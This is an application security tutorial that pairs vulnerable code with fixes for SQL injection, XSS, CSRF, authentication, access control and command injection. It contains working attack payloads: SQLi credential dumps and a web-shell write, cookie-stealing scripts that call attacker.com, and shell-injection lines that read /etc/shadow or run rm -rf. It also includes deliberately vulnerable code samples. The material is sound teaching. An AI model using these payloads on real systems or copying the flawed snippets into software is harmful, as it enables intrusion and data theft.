Lucent Grid Learning  ·  Application Security

Web Application
Security

How web vulnerabilities work mechanically, why they exist, what the attack looks like, and — crucially — how to write code that doesn't have them. Fifteen chapters covering every major vulnerability class from SQL injection and XSS through SSRF, business logic, API security, and secure architecture. For developers, security engineers, and AppSec practitioners.

15 chapters
~3.5 hrs reading
OWASP Top 10 2021 aligned
Vulnerable vs Secure code throughout
📍
Continue where you left off
Chapter 01 · ~13 min · Foundations

How Web Applications Work

The request/response cycle, HTTP anatomy, sessions, the same-origin policy, and the developer assumptions that create vulnerabilities

Every web vulnerability is a consequence of how web applications are built. To understand why SQL injection works, you need to understand how SQL queries are constructed. To understand why CSRF works, you need to understand how browsers handle cookies. To understand why XSS works, you need to understand how browsers render HTML. This chapter builds the mental model that makes every subsequent chapter intuitive rather than arbitrary.

The Request/Response Cycle

Everything a web application does is a variation on one pattern: a client sends an HTTP request, a server processes it and sends back an HTTP response. Understanding the anatomy of both is the prerequisite for understanding how they are abused.

HTTP Request/ResponseFull annotated example of a login request
━━━ REQUEST ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ POST /login HTTP/1.1 ← Method + Path + Version Host: app.example.com ← Virtual hosting — which site? Content-Type: application/x-www-form-urlencoded Content-Length: 38 Cookie: _csrf=abc123; analytics=xyz ← Browser sends ALL cookies for this domain Origin: https://app.example.com Referer: https://app.example.com/login username=alice&password=hunter2 ← Body (only in POST/PUT/PATCH) ━━━ RESPONSE ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ HTTP/1.1 302 Found ← Status code Location: /dashboard ← Redirect destination Set-Cookie: session=eyJhbGc...; ← Server sets session cookie Path=/; HttpOnly; Secure; SameSite=Lax ← Cookie flags Content-Security-Policy: default-src 'self' X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000

Several security-critical details are visible in this single exchange. The browser automatically includes all cookies for the domain — this is what enables both session management and CSRF attacks. The server sets a session cookie with HttpOnly (prevents JavaScript access), Secure (HTTPS only), and SameSite=Lax (limits cross-site sending). The response headers include CSP, X-Frame-Options, and HSTS — the security header layer we'll cover in Chapter 13.

HTTP Methods and Their Security Implications

MethodPurposeHas Body?Security Notes
GETRetrieve a resourceNoParameters in URL — logged by servers, proxies, referrer headers. Never use GET for state-changing actions.
POSTSubmit data / create resourceYesBody not logged by default. Required for state-changing actions. Subject to CSRF.
PUTCreate or replace resourceYesIdempotent. Requires authorisation on target resource.
DELETEDelete a resourceOptionalIrreversible. Must verify authorisation before executing.
OPTIONSCORS preflight / capability queryNoAutomatically sent by browsers before cross-origin requests with non-simple content types.
PATCHPartial update of resourceYesMust validate that only allowed fields can be modified — mass assignment risk.

Sessions — Why They Exist and Why They're a Target

HTTP is stateless — each request is independent, with no memory of previous requests. Sessions are the mechanism that makes web applications stateful: the server generates a unique session identifier after authentication, stores it in a cookie, and associates server-side state (who is logged in, what their permissions are) with that identifier. Every subsequent request includes the session cookie, and the server looks up the associated state.

This creates the attack surface for session-related vulnerabilities: steal the session cookie and you steal the session. This is why XSS (which can read cookies) and network-level attacks (which can intercept cookies over unencrypted connections) are so impactful. It's also why cookie flags — HttpOnly, Secure, SameSite — are security controls, not cosmetic options.

The Same-Origin Policy

The Same-Origin Policy (SOP) is the browser's primary security boundary. It restricts JavaScript running on one origin from accessing resources from a different origin. An origin is the combination of protocol + hostname + port — https://app.example.com:443 is one origin; https://evil.com:443 is a different origin.

What SOP prevents: JavaScript at evil.com cannot read the response from a fetch to bank.com; cannot access the DOM of an iframe loaded from bank.com; cannot read cookies set by bank.com. What SOP does not prevent: browsers making cross-origin requests (including sending cookies), cross-origin image/script/CSS loading, form submissions to other origins. This last point — that cross-origin form submissions are allowed — is the root cause of CSRF.

Developer Assumptions That Create Vulnerabilities

Most web vulnerabilities stem from reasonable assumptions that turn out to be wrong in adversarial contexts:

  • "I control what gets submitted to this form" — developers build forms and assume users will fill them in through the browser interface. Attackers bypass the browser entirely and craft raw HTTP requests with any content they choose. Client-side validation is not security.
  • "My API isn't public, so it doesn't need the same security as my web app" — APIs that are "only called by the mobile app" are reachable by any HTTP client. The authentication mechanisms protecting the public web interface must protect the API too.
  • "The browser will enforce this security restriction" — security controls that rely on browser behaviour (JavaScript checks, hidden form fields, client-side encryption) can be bypassed by any attacker who communicates directly with the server.
  • "The user's input is safe because I know who they are" — authenticated users can still provide malicious input. Most stored XSS vulnerabilities involve a legitimate user account submitting malicious content that executes for other users.
Key Takeaways — Chapter 1
  • The browser sends all matching cookies with every request — this enables sessions but also enables CSRF
  • State-changing actions must use POST/PUT/DELETE, never GET — parameters in URLs are logged in server logs, proxy logs, and browser history
  • Same-origin policy restricts JavaScript reading cross-origin responses but does not prevent cross-origin requests from being sent — CSRF exploits this gap
  • Client-side validation is not security — attackers communicate directly with the server using any HTTP client, bypassing all browser-enforced constraints
Chapter 02 · ~18 min · Injection OWASP A03

SQL Injection

How SQL injection works mechanically, the full taxonomy, authentication bypass, data extraction, file read/write, OS command execution, and the only real fix

SQL injection is the vulnerability that has caused more data breaches than arguably any other. It is decades old, thoroughly documented, trivial to prevent with correct coding practices — and still found in production applications every day. Understanding it deeply means understanding not just "what to grep for" but why the fundamental mechanics of SQL query construction create the vulnerability, and why the fix works at the level it does.

The Root Cause

SQL injection occurs when untrusted data is concatenated directly into a SQL query string. The database cannot distinguish between the query the developer intended and the query the attacker constructed. The query structure itself — what is SQL syntax and what is data — becomes ambiguous.

How It Works — The Mechanics

A developer writes a login query that checks whether a username and password combination exists in the database. The natural, intuitive, and dangerously wrong way to build this query:

Login Query — Vulnerable vs Secure
Vulnerable — string concatenation
// PHP — string concatenation $query = "SELECT * FROM users WHERE username = '" . $username . "' AND password = '" . $password . "'"; // Attacker sends: // username = admin'-- // password = anything // Resulting query: SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything' // -- comments out everything after it // Password check is never evaluated // Returns admin's row — logged in
Secure — parameterised query
// PHP PDO — prepared statement $stmt = $pdo->prepare( "SELECT * FROM users WHERE username = ? AND password_hash = ?" ); $stmt->execute([ $username, password_hash($password, PASSWORD_BCRYPT) ]); // Attacker sends: admin'-- // The driver treats it as literal data // Query looks for username literally // equal to "admin'--" — no match // The query structure is fixed at // prepare() time and cannot be altered

The SQL Injection Taxonomy

TypeMechanismWhen Used
Error-basedDatabase error messages leak schema/data information in the HTTP responseWhen error details are returned to the user (development servers, verbose errors)
Union-basedUNION SELECT appends attacker's query to the original, returning data in the page responseWhen query results are displayed on the page
Boolean blindInject a condition (AND 1=1 / AND 1=2) and infer data from whether the page changesWhen no data is returned but page behaviour differs based on query success/failure
Time-based blindSLEEP(5) delays the response; used to exfiltrate data bit by bit based on response timingWhen no content difference is visible — pure timing channel
Out-of-bandDNS or HTTP callback to attacker-controlled server carries exfiltrated dataWhen network calls are possible from the database server
Second-orderMalicious input is safely stored, then later concatenated into a query in a different part of the appWhen input is first stored (safely) and later retrieved and used unsafely
Union-Based SQLiExtracting database contents via UNION SELECT
Target: https://shop.example.com/product?id=5 Original query: SELECT name,price,desc FROM products WHERE id = 5 Step 1 — find number of columns (ORDER BY) ?id=5 ORDER BY 1-- → 200 OK ?id=5 ORDER BY 3-- → 200 OK ?id=5 ORDER BY 4-- → 500 Error ← 3 columns confirmed Step 2 — find which columns are displayed ?id=-1 UNION SELECT 'a','b','c'-- Page shows: "a" and "c" visible in the response Step 3 — extract database version and user ?id=-1 UNION SELECT version(),user(),'x'-- Response: "MySQL 8.0.32-commercial" and "app_user@localhost" Step 4 — enumerate all tables ?id=-1 UNION SELECT table_name,2,3 FROM information_schema.tables-- Response: users, products, orders, admin_users, payment_cards Step 5 — dump user credentials ?id=-1 UNION SELECT username,password,email FROM admin_users-- Response: admin | $2y$10$abcdef... | [email protected]

Beyond Data Extraction — Escalating SQLi Impact

SQL injection that achieves only data read is already critical. But depending on database configuration and privileges, the impact can escalate further:

  • File read — MySQL's LOAD_FILE() reads server-side files: UNION SELECT LOAD_FILE('/etc/passwd'),2,3--. Requires FILE privilege.
  • File write — MySQL's INTO OUTFILE writes query results to the server filesystem: UNION SELECT '<?php system($_GET["cmd"]);?>',2,3 INTO OUTFILE '/var/www/html/shell.php'--. Web shell planted.
  • OS command execution (SQL Server)xp_cmdshell executes OS commands directly from SQL: EXEC xp_cmdshell 'whoami'. Disabled by default but can be enabled by sa.
  • Out-of-band data exfiltration (Oracle)UTL_HTTP.request() and UTL_FILE can exfiltrate data via DNS/HTTP when the database server has network access.

The Fix — Parameterised Queries Are Not Optional

Parameterised queries (prepared statements) are the only real fix for SQL injection. Everything else is defence-in-depth:

Parameterised Queries — Multiple Languages
Common vulnerable patterns
// Python — vulnerable cursor.execute( "SELECT * FROM users WHERE id = %s" % user_id ← % formatting ) // Java — vulnerable String query = "SELECT * FROM users WHERE id = " + userId; ← concatenation stmt.execute(query); // ORM — still vulnerable! User.objects.raw( "SELECT * FROM user WHERE id=%s" % user_id ← raw query + format )
Secure parameterised equivalents
// Python — secure cursor.execute( "SELECT * FROM users WHERE id = %s", (user_id,) ← tuple, not format ) // Java — secure PreparedStatement stmt = conn.prepareStatement( "SELECT * FROM users WHERE id = ?" ); stmt.setInt(1, userId); ← typed binding stmt.executeQuery(); // ORM — secure (use ORM properly) User.objects.filter(id=user_id) // ORM generates parameterised query // Do not use .raw() unless necessary
ORMs Are Not a Magic Solution

ORM frameworks like Django ORM, Hibernate, and ActiveRecord use parameterised queries internally — when you use them correctly. When you drop into raw SQL (.raw(), execute(), nativeQuery) or dynamically build ORM filter strings (e.g., dynamic ORDER BY clauses using column names from user input), you reintroduce the injection risk. An ORM is not a substitute for understanding parameterisation — it's a tool that implements it automatically for the common case.

🔴 Attack Perspective
  • Single quote ' in any parameter is the first test — does the response change?
  • sqlmap automates discovery and exploitation but generates enormous log noise
  • Second-order SQLi requires manual testing — scanners miss it because the storage and execution are separate requests
  • Time-based blind is the fallback when all other types fail — always works, just slow
🟢 Defence Perspective
  • Parameterised queries everywhere, no exceptions — this is the fix, not input validation
  • Least privilege DB user — the app user should only have SELECT/INSERT/UPDATE on its own tables, never FILE privilege or admin rights
  • WAF as defence-in-depth — not a substitute for fixing the code, but buys time and filters script-kiddie attempts
  • Error pages should never show database errors to users — generic "something went wrong" only
Key Takeaways — Chapter 2
  • SQL injection occurs when untrusted data is concatenated into a query — the database cannot distinguish intended SQL from injected SQL
  • Parameterised queries fix SQL injection because the query structure is compiled separately from the data — injected SQL cannot alter the query structure
  • ORMs are secure when used correctly and vulnerable when you drop into raw SQL — .raw() and string-formatted queries are injection risks regardless of ORM
  • SQLi impact ranges from authentication bypass through full data extraction to OS command execution — severity depends on database privileges and configuration
  • Second-order injection (safe storage, later unsafe use) is missed by automated scanners — requires manual tracing of data flow through the application
Chapter 03 · ~17 min · XSS OWASP A03

Cross-Site Scripting (XSS)

Reflected, stored, and DOM-based XSS; what XSS actually enables; context-aware output encoding; Content Security Policy; and why "it's just a pop-up" is wrong

Cross-site scripting is the most commonly found web vulnerability and the most consistently underestimated in terms of real impact. The demonstration payload — alert(1) — produces a harmless popup that leads developers and reviewers to dismiss it as low severity. This is a mistake. XSS gives an attacker the ability to execute arbitrary JavaScript in a victim's browser, in the context of the vulnerable application. That is not a popup; that is a full compromise of the user's session.

The Three Types

Reflected XSS

The malicious script is reflected off the server in a response — it is not stored, and only executes for users who follow the crafted URL. The attack requires delivering the URL to victims (phishing email, shortened URL, open redirect on another site).

Reflected XSS — Search Result Page
Vulnerable — unencoded reflection
<!-- PHP template --> <p>You searched for: <?php echo $_GET['q']; ?> </p> <!-- Attacker's URL: --> /search?q=<script> fetch('https://attacker.com/steal?c=' +document.cookie) </script> <!-- Rendered HTML sends all cookies to attacker's server -->
Secure — HTML entity encoding
<!-- PHP template --> <p>You searched for: <?php echo htmlspecialchars( $_GET['q'], ENT_QUOTES | ENT_HTML5, 'UTF-8' ); ?> </p> <!-- Attacker's URL produces: --> You searched for: &lt;script&gt;fetch(...) &lt;/script&gt; <!-- Displayed as text, not executed -->

Stored XSS

The malicious script is stored in the application's database and served to every user who views the affected content. This is the highest-impact XSS type — it executes for every visitor without requiring the attacker to be present or to deliver individual crafted URLs.

Stored XSS — Comment / Profile Field
Vulnerable — stored and reflected raw
// Attacker submits comment: Nice post! <img src=x onerror="document.location= 'https://attacker.com/steal?c=' +document.cookie"> // Stored in DB as-is // Template renders: <div class="comment"> <?= $comment['body'] ?> </div> // Every visitor's session stolen
Secure — encode on output, not input
// Store raw content in DB (correct) // Encode at render time: <div class="comment"> <?= htmlspecialchars( $comment['body'], ENT_QUOTES | ENT_HTML5, 'UTF-8' ) ?> </div> // If allowing rich text: use a // validated allowlist HTML sanitiser // (DOMPurify) — never build your own

DOM-Based XSS

DOM XSS occurs entirely in the browser — client-side JavaScript reads attacker-controlled data (URL fragment, document.referrer, window.name, postMessage) and writes it to the DOM unsafely. The server never sees the payload, which means server-side output encoding doesn't help.

DOM XSS — Unsafe innerHTML Write
Vulnerable — innerHTML with URL data
// Reads URL fragment directly into DOM const name = location.hash.slice(1); document.getElementById('greeting') .innerHTML = 'Hello, ' + name; // Attack URL: https://app.com/page# <img src=x onerror=alert(1)> // innerHTML parses and executes the tag
Secure — textContent instead
// Use textContent — never innerHTML // for user-controlled data const name = location.hash.slice(1); document.getElementById('greeting') .textContent = 'Hello, ' + name; // textContent treats value as literal // text — no HTML parsing occurs // <img> tag displayed as text string

What XSS Actually Enables

A successful XSS payload running in a victim's browser can:

  • Steal session cookiesfetch('https://attacker.com/?' + document.cookie). Mitigated by HttpOnly flag (JavaScript cannot access HttpOnly cookies), but not all cookies are HttpOnly.
  • Perform actions as the victim — make authenticated API calls, change the victim's password or email address, transfer funds, post content. The malicious script runs with the same permissions as the victim.
  • Capture keystrokes — install a keylogger on the page that sends every keystroke to an attacker server, capturing passwords typed after the XSS executes.
  • Redirect to phishing pageswindow.location = 'https://phishing-site.com/login'. The redirect appears to come from the legitimate domain.
  • Internal network scanning — use the victim's browser as a pivot point to scan internal network resources via JavaScript fetch requests. If the victim is inside a corporate network, the browser can reach internal services that are otherwise inaccessible.

Context-Aware Output Encoding

The critical nuance in XSS defence is that the correct encoding depends on the context where user data is inserted into the page. HTML encoding is correct in HTML body contexts but wrong in JavaScript contexts, URL contexts, and CSS contexts. Using the wrong encoder for the context leaves the vulnerability open:

Output Encoding — Context Matters
Wrong encoding for context
<!-- JS context — HTML encoding wrong --> <script> var user = '<?= htmlspecialchars($u) ?>'; // htmlspecialchars doesn't encode \ // Attacker sends: '; alert(1); var x=' // Result: var user = ''; alert(1); var x='' </script> <!-- URL context — HTML encoding wrong --> <a href="?next=<?= htmlspecialchars($next) ?>"> // Attacker sends: javascript:alert(1) // htmlspecialchars doesn't strip javascript:
Correct encoding per context
<!-- JS context — JSON encode --> <script> var user = <?= json_encode($u) ?>; // json_encode produces a quoted string // with all special chars escaped </script> <!-- URL context — validate scheme --> $safe = filter_var($next, FILTER_VALIDATE_URL ); // Only allow http:// and https:// // Reject javascript:, data: schemes

Content Security Policy

CSP is a browser security mechanism that restricts which scripts, styles, and other resources a page can load. A well-configured CSP can prevent XSS payloads from executing even when injection is possible — making it the most powerful XSS mitigation beyond fixing the encoding.

Content Security Policy — Weak vs Strong
Weak CSP — easily bypassed
# Allows scripts from same origin # and a CDN — but... Content-Security-Policy: script-src 'self' https://cdn.example.com 'unsafe-inline' # 'unsafe-inline' defeats the entire # purpose — inline scripts (the most # common XSS payload type) still run Content-Security-Policy: script-src 'self' *.googleapis.com # Wildcard subdomain allows an attacker # to load from any googleapis.com subdomain # including user-controlled content
Strong CSP with nonces
# Server generates a random nonce # per request $nonce = base64_encode(random_bytes(16)); # Header uses the nonce Content-Security-Policy: script-src 'nonce-{$nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'none'; # Every legitimate script tag includes it <script nonce="<?= $nonce ?>"> // Legitimate code here </script> # Injected scripts have no nonce → blocked # strict-dynamic trusts scripts loaded # by nonce'd scripts (for frameworks)
Key Takeaways — Chapter 3
  • Reflected XSS requires delivering a crafted URL to victims; stored XSS executes for every visitor — stored is always higher severity
  • DOM XSS lives entirely in client-side JavaScript — server-side encoding doesn't help; use textContent not innerHTML for user-controlled data
  • Output encoding is context-dependent — HTML encoding is wrong in JavaScript, URL, and CSS contexts; use the correct encoder for the insertion point
  • HttpOnly cookies prevent cookie theft via XSS but don't prevent authenticated API calls — XSS impact goes far beyond cookie theft
  • CSP with nonces eliminates inline script execution even when injection is possible — the most powerful defence after fixing the encoding
Chapter 04 · ~14 min · CSRF OWASP A01

Cross-Site Request Forgery (CSRF)

Why CSRF exists, what it achieves, CSRF tokens, the SameSite cookie attribute, and why modern SPAs are largely immune

CSRF exploits the fact that browsers automatically include cookies when making requests to a domain — regardless of which site initiated the request. An authenticated user visiting a malicious site can have their browser make authenticated requests to a legitimate application without their knowledge or consent. The browser is doing exactly what it was designed to do; the vulnerability is in the application's failure to distinguish legitimate requests from forged ones.

The Core Mechanism

When your browser makes a request to bank.com, it includes all cookies for bank.com — including your session cookie. This happens whether the request was initiated by you clicking a link on bank.com, or by JavaScript on evil.com. The bank.com server receives an authenticated request (it has the session cookie) but has no way to know which page caused the browser to send it.

A Complete CSRF Attack

CSRF AttackForged fund transfer — victim visits attacker's page while logged into bank
Attacker's page at evil.com: <!-- Auto-submitting form, invisible to victim --> <form method="POST" action="https://bank.com/transfer"> <input name="to_account" value="ATTACKER_ACCOUNT"> <input name="amount" value="10000"> </form> <script>document.forms[0].submit();</script> What happens: 1. Victim is logged into bank.com (session cookie present) 2. Victim visits evil.com (malicious ad, phishing email, any page) 3. JavaScript auto-submits the hidden form 4. Browser sends POST to bank.com WITH the session cookie 5. bank.com sees authenticated request from victim → executes transfer 6. Victim's browser redirects to bank.com's success page 7. Victim may not notice anything happened The attack requires no XSS, no SQLi, no vulnerability in bank.com's code It exploits a fundamental browser behaviour

The CSRF Token Pattern

The synchroniser token pattern is the standard CSRF defence. The server generates a unique, unpredictable token, embeds it in every form, stores it in the session, and validates it on every state-changing request. An attacker on evil.com cannot read the victim's session token (same-origin policy prevents it) and therefore cannot include the correct CSRF token in the forged request.

CSRF Token Implementation
No CSRF protection
<!-- Form with no CSRF token --> <form method="POST" action="/transfer"> <input name="to" value=""> <input name="amount" value=""> <button>Transfer</button> </form> // Server validates only session cookie // Any authenticated POST succeeds // Including cross-site forged requests
Synchroniser token pattern
<!-- Token in form --> <form method="POST" action="/transfer"> <input type="hidden" name="_csrf" value="<?= $session->csrfToken() ?>"> <input name="to" value=""> <input name="amount" value=""> <button>Transfer</button> </form> // Server validates BEFORE executing: if (!hash_equals($session->csrfToken(), $_POST['_csrf'])) { abort(403, 'Invalid CSRF token'); }

The SameSite Cookie Attribute

SameSite is a cookie attribute that controls when cookies are sent on cross-site requests. It provides CSRF protection at the browser level — before the request even reaches the server.

ValueBehaviourCSRF ProtectionConsiderations
StrictCookie never sent on cross-site requests, including top-level navigationCompleteUsers visiting your site from a link will not be logged in — poor UX for most applications
LaxCookie sent on same-site requests and top-level navigation GET requests; not on cross-site POST, iframe, img, scriptGood for most CSRFDefault in Chrome since 2020. Doesn't protect against GET-based CSRF (state-changing GETs are a separate problem to fix)
NoneCookie sent on all requests including cross-siteNoneRequired for legitimate cross-site cookie use (third-party embeds, OAuth flows). Must also set Secure flag.
Cookie Attributes — Secure Configuration
Missing protective attributes
// PHP — cookie with no flags setcookie('session', $token); // Missing: // Secure — sent over HTTP too // HttpOnly — JS can steal it // SameSite — CSRF possible // Short expiry — lives forever
All protective attributes set
// PHP — secure session cookie setcookie('session', $token, [ 'expires' => time() + 3600, 'path' => '/', 'domain' => 'app.example.com', 'secure' => true, // HTTPS only 'httponly' => true, // No JS access 'samesite' => 'Lax', // CSRF defence ]);

Why Modern SPAs Are Largely Immune

Single-page applications that use token-based authentication (JWT in an Authorization header, API key in a custom header) rather than cookie-based sessions are largely immune to CSRF. Cross-site requests cannot include custom headers — the same-origin policy prevents JavaScript on evil.com from setting the Authorization header when making a request to bank.com. The browser's automatic cookie inclusion is the mechanism CSRF exploits; removing cookies from the authentication model removes the vulnerability.

However, CSRF resurfaces in SPAs in several scenarios: mixed authentication (some endpoints still use cookies), cookie-based CSRF token storage with SameSite=None, and legacy APIs consumed by both SPAs and traditional forms.

Key Takeaways — Chapter 4
  • CSRF exploits browsers' automatic cookie inclusion — the browser is behaving correctly; the application fails to verify request legitimacy
  • CSRF tokens work because attackers cannot read the victim's session (same-origin policy) and therefore cannot include a valid token in forged requests
  • SameSite=Lax (default in Chrome since 2020) prevents most CSRF but doesn't protect state-changing GET requests — don't use GET for mutations
  • Token-based auth (JWT in Authorization header) eliminates cookie-based CSRF — the custom header cannot be set by cross-site JavaScript
  • CSRF token validation must use a timing-safe comparison (hash_equals) — string equality comparisons are vulnerable to timing attacks
Chapter 05 · ~16 min · Authentication OWASP A07

Authentication and Session Management

Credential attacks, password reset flaws, session fixation, JWT attacks, MFA bypass, and correct password storage

Authentication is the gateway to everything a web application protects. It answers a single question — "who are you?" — but answering it incorrectly, incompletely, or in ways that can be manipulated opens every door behind it. Broken authentication encompasses a wide range of implementation failures: from weak password policies through insecure session management to bypassable multi-factor authentication.

Password Reset Vulnerabilities

Password reset flows are consistently one of the most fertile sources of authentication vulnerabilities. They must handle unauthenticated users by definition, which means they operate without the protection of an existing session.

Password Reset Token — Predictable vs Secure
Predictable reset token
// Token derived from timestamp + username $token = md5($username . time()); // Attackable because: // 1. MD5 is fast to brute-force // 2. timestamp is guessable (±seconds) // 3. username is known // Attacker tries ~7200 values to // cover ±1 hour → token found // Also: no expiry, no single-use
Cryptographically secure token
// Cryptographically random token $token = bin2hex(random_bytes(32)); // 256 bits of entropy — unguessable // Store hash of token in DB $hashed = hash('sha256', $token); DB::insert('password_resets', [ 'user_id' => $userId, 'token_hash' => $hashed, 'expires_at' => now()->addMinutes(15), 'used' => false, ]); // Send $token in email, store $hashed // Mark used after first redemption

Host Header Injection in Password Reset Emails

Many frameworks generate password reset URLs using the HTTP Host header to determine the application's domain. If the Host header is not validated, an attacker can manipulate it to cause the reset link to be generated pointing to an attacker-controlled domain — and the email is sent with that malicious link.

Host Header Injection in Reset Links
Host header used directly
// Generates link from Host header $url = "https://{$_SERVER['HTTP_HOST']}" . "/reset?token=" . $token; // Attacker sends request with: Host: attacker.com // Email contains link: https://attacker.com/reset?token=abc123 // Victim clicks → attacker gets token
Hardcoded trusted base URL
// Never derive URL from Host header $baseUrl = config('app.url'); // Set in environment config, not // derived from request headers $url = $baseUrl . "/reset?token=" . $token; // Attacker's Host header is ignored // Link always points to your domain

JWT Attacks

JSON Web Tokens are widely used for stateless authentication. Their security depends on the cryptographic signature being valid and the algorithm being used correctly. Several common implementation flaws make JWTs exploitable:

JWT Algorithm Confusion Attack
Algorithm confusion — RS256 → HS256
// Server signs with RSA private key // and verifies with public key (RS256) // Server publishes public key at: /api/.well-known/jwks.json // Vulnerable verify function: jwt.verify(token, publicKey); // Uses algorithm from token header! // Attacker changes alg to HS256, // signs with the PUBLIC key as secret // Server verifies with public key // as HS256 secret → valid signature // Attacker forges any claims (role:admin)
Algorithm explicitly specified
// Always specify expected algorithm jwt.verify(token, publicKey, { algorithms: ['RS256'] }); // Rejects tokens claiming HS256 // regardless of header content // Also reject 'none' algorithm: // { algorithms: ['RS256'] } // implicitly rejects 'none' // Use a well-maintained JWT library // that defaults to safe behaviour // (python-jose, jsonwebtoken, PyJWT)

Password Storage — What Breaks and What Works

Password Hashing — Wrong to Right
Catastrophically wrong approaches
// Plaintext — never DB::insert(['password' => $password]); // MD5 — cracks in milliseconds $hash = md5($password); // SHA-256 — fast, no work factor $hash = hash('sha256', $password); // 8+ billion SHA-256 hashes/second // on consumer GPU // SHA-256 + salt — better but $hash = hash('sha256', $salt.$password); // still fast — 100M+ per second // "Summer2024!" cracked in seconds
Correct — adaptive password hashing
// PHP — PASSWORD_DEFAULT uses bcrypt $hash = password_hash( $password, PASSWORD_ARGON2ID, // preferred ['memory_cost' => 65536, 'time_cost' => 4, 'threads' => 1] ); // Python — use passlib or argon2-cffi from argon2 import PasswordHasher ph = PasswordHasher() hash = ph.hash(password) // ~100ms per hash → 10/second // vs 8 billion/second for SHA-256 // Makes brute-force computationally // infeasible for even weak passwords
Key Takeaways — Chapter 5
  • Password reset tokens must use cryptographically random values (32+ bytes from random_bytes) — MD5 of timestamp + username is guessable within seconds
  • Generate reset URLs from a trusted config value, never from the Host header — Host header injection lets attackers steal reset tokens
  • JWT algorithm must be explicitly specified in verification — never trust the algorithm from the token header
  • Argon2id is the current recommended password hashing algorithm — bcrypt is acceptable; MD5, SHA-256, and SHA-512 without a work factor are not
  • MFA fatigue attacks send repeated push notifications hoping the user approves one — number matching (enter the code shown in the app) defeats this pattern
Chapter 06 · ~16 min · Access Control OWASP A01

Broken Access Control

IDOR, path traversal, file inclusion, mass assignment, vertical and horizontal privilege escalation, and implementing authorisation correctly

Broken access control is the number one OWASP vulnerability category — more prevalent than SQL injection, more prevalent than XSS. It encompasses every scenario where an application fails to correctly enforce what a user is allowed to do or access. Authentication confirms identity; authorisation enforces what that identity can do. Many applications implement authentication well and authorisation poorly.

Two Types of Privilege Escalation

Horizontal privilege escalation — accessing another user's data at the same privilege level. User A can view User B's account details. Both are regular users; neither should see the other's private data.

Vertical privilege escalation — accessing functionality at a higher privilege level than authorised. A regular user accessing an admin endpoint; a read-only user performing write operations.

IDOR — Insecure Direct Object Reference

IDOR is the most commonly found high-severity finding in bug bounty programmes. It occurs when an application uses a user-controllable identifier to access a resource without verifying that the requesting user is authorised for that specific resource.

IDOR — Account Profile Endpoint
No ownership check
// API: GET /api/users/{id}/profile app.get('/api/users/:id/profile', authenticate, // checks login only async (req, res) => { const user = await User.findById( req.params.id // no ownership check! ); res.json(user); }); // User 1042 requests /api/users/1001 // Gets admin's full profile including // 2FA backup codes, SSN, etc.
Ownership verified before returning
app.get('/api/users/:id/profile', authenticate, async (req, res) => { // Verify requester owns this resource if (req.user.id !== req.params.id && !req.user.isAdmin) { return res.status(403).json( { error: 'Forbidden' } ); } const user = await User.findById( req.params.id ); res.json(user.publicProfile()); });

Path Traversal

Path traversal occurs when user-supplied input is used to construct a filesystem path, and the application fails to prevent traversal outside the intended directory using ../ sequences.

Path Traversal — File Download Feature
Filename used directly in path
// GET /download?file=report.pdf $file = $_GET['file']; $path = '/var/www/uploads/' . $file; readfile($path); // Attack: // ?file=../../../etc/passwd // Path: /var/www/uploads/../../../etc/passwd // Resolves to: /etc/passwd // Encoded bypasses: // ..%2F..%2F..%2Fetc%2Fpasswd // ..%252F (double-encoded) // ..%c0%af (Unicode slash)
Canonicalise and validate path
// Resolve the real path first $uploadDir = realpath('/var/www/uploads'); $requestedFile = $_GET['file']; // Build and canonicalise the path $filePath = realpath( $uploadDir . '/' . $requestedFile ); // Verify it's still inside uploads/ if ($filePath === false || !str_starts_with($filePath, $uploadDir)) { http_response_code(403); exit('Access denied'); } readfile($filePath);

Mass Assignment

Mass assignment vulnerabilities occur when a web framework automatically binds request parameters to model fields without restricting which fields can be set. An attacker who knows (or guesses) field names can set fields they shouldn't — like role, is_admin, or account_balance.

Mass Assignment — User Registration
All request params bound to model
// Rails — vulnerable (before strong params) User.create(params[:user]) // Attacker sends: { "name": "Alice", "email": "[email protected]", "password": "secret", "role": "admin", ← escalation "is_verified": true ← bypass } // User created as admin, pre-verified
Explicit allowlist of permitted fields
// Rails — strong params allowlist def user_params params.require(:user).permit( :name, :email, :password // role and is_verified not listed // → ignored even if submitted ) end User.create(user_params) // Role assigned separately with // explicit business logic: user.role = :user # default role
Key Takeaways — Chapter 6
  • Every resource access must verify that the requesting user owns or has permission for that specific resource — authentication (logged in) is not sufficient
  • Path traversal is defeated by canonicalising the resolved path with realpath() and verifying it starts with the expected base directory
  • Mass assignment requires an explicit allowlist of permitted fields — never bind all request params to a model without filtering
  • Deny by default is the correct authorisation model — grant specific permissions explicitly rather than denying specific ones
  • Access control decisions must be made server-side — hiding UI elements, using different URLs for different roles, or relying on client-side role checks are not security controls
Chapter 07 · ~16 min · Injection OWASP A03

Injection Beyond SQL

OS command injection, LDAP injection, SSTI, XXE, NoSQL injection, header injection — same root cause, different attack surfaces

SQL injection is the most famous member of a larger vulnerability family. Every injection vulnerability shares the same root cause: untrusted data is interpreted as code or commands rather than data. The specific language being injected into (SQL, shell, LDAP, XML, template engine) determines the mechanics and impact — but the fundamental error and the fundamental fix are always the same.

OS Command Injection

When user input is passed to a shell command, an attacker can inject shell metacharacters to execute additional commands. The impact is immediate remote code execution on the server.

OS Command Injection — DNS Lookup Feature
Input concatenated into shell command
// Python — vulnerable import os hostname = request.GET['host'] result = os.system( f"nslookup {hostname}" ) // Input: example.com; cat /etc/passwd // Executes: nslookup example.com; cat /etc/passwd // ; separates commands in bash // Other metacharacters: example.com && whoami example.com | id $(cat /etc/shadow) `rm -rf /`
Avoid shell — use library directly
# Never shell out for things libraries do import dns.resolver hostname = request.GET['host'] # Validate input first import re if not re.match(r'^[a-zA-Z0-9.\-]+$', hostname): return error('Invalid hostname') # Use the DNS library directly answers = dns.resolver.resolve(hostname) # No shell involved — no injection possible # If you MUST shell: use array form import subprocess result = subprocess.run( ['nslookup', hostname], # no shell capture_output=True )

Server-Side Template Injection (SSTI)

Template injection occurs when user input is embedded directly into a template string that is then evaluated by the template engine. Unlike XSS (where the template output is injected), SSTI injects into the template itself — giving the attacker access to the template engine's full functionality, which typically includes arbitrary code execution.

SSTI — Jinja2 (Python/Flask)
User input in template string
